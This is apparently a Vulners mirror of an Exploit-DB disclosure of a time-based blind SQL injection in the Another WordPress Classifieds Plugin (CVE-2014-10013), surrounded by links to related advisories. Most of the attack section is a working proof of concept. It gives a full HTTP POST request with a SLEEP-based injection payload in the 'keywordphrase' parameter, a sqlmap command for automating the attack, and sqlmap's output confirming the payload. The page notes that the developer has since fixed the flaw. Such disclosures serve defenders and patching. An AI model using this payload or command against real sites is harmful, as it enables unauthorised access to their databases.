Lucene search
+L

WordPress Plugin Another WordPress Classifieds Plugin - SQL Injection

🗓️ 10 Nov 2014 00:00:00Reported by dillType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

SQL Injection in Another WordPress Classifieds Plugi

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-10013
13 Jan 201511:00
cve
Cvelist
CVE-2014-10013
13 Jan 201511:00
cvelist
EUVD
EUVD-2014-1085
7 Oct 202500:30
euvd
NVD
CVE-2014-10013
13 Jan 201511:59
nvd
Patchstack
WordPress Another Classifieds Plugin - SQL Injection
10 Nov 201400:00
patchstack
Patchstack
WordPress Another Classifieds Plugin - SQL Injection
10 Nov 201400:00
patchstack
Prion
Sql injection
13 Jan 201511:59
prion
Positive Technologies
PT-2015-3657 · WordPress · Wordpress Classifieds Plugin
13 Jan 201500:00
ptsecurity
Tenable Nessus
WordPress Classifieds Plugin Plugin for WordPress < 3.0 SQL Injection
3 Jan 202300:00
nessus
WPVulnDB
Another WordPress Classifieds Plugin < 3.0 - SQLi & XSS
10 Nov 201400:00
wpvulndb
Rows per page
Exploit Title: Another Wordpress Classifieds Plugin sql injection and Cross Site Scripting
Author: dill
download: https://wordpress.org/plugins/another-wordpress-classifieds-plugin/Client
Webpage: http://awpcp.com/


SQL injection
Details:
The parameter “keywordphrase” is susceptible to a time-based blind SQL injection when doing a search for classifieds.

Proof-of-Concept (PoC)
Request:
POST /?page_id=16592 HTTP/1.1
Host: vulnerable.server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://vulnerable.server/?page_id=16592
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dhtml; wp-settings-time-1=1407957654; wp-settings-time-2=1408136814; PHPSESSID=uk871e0cssdnca8oesorbmg2b6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.2917955784677633=&textfield-country0.2917955784677633=country®ions[0][country]=country&select-state0.3360776012424508=&textfield-state0.3360776012424508=state®ions[0][state]=State&select-city0.8672109586380441=&textfield-city0.8672109586380441=city®ions[0][city]=city

Exploit through sqlmap:
Copy post request to text file
sqlmap -r keywordphrase.txt -p keywordphrase --dbms=MySQL --level=5

-----------------
Place: POST
Parameter: keywordphrase
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.2917955784677633=&textfield-country0.2917955784677633=country®ions[0][country]=country&select-state0.3360776012424508=&textfield-state0.3360776012424508=State®ions[0][state]=State&select-city0.8672109586380441=&textfield-city0.8672109586380441=City®ions[0][city]=City

Resolution: Developer was contacted and has since corrected the issues. Update to the latest version of the plugin

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Nov 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.04737
25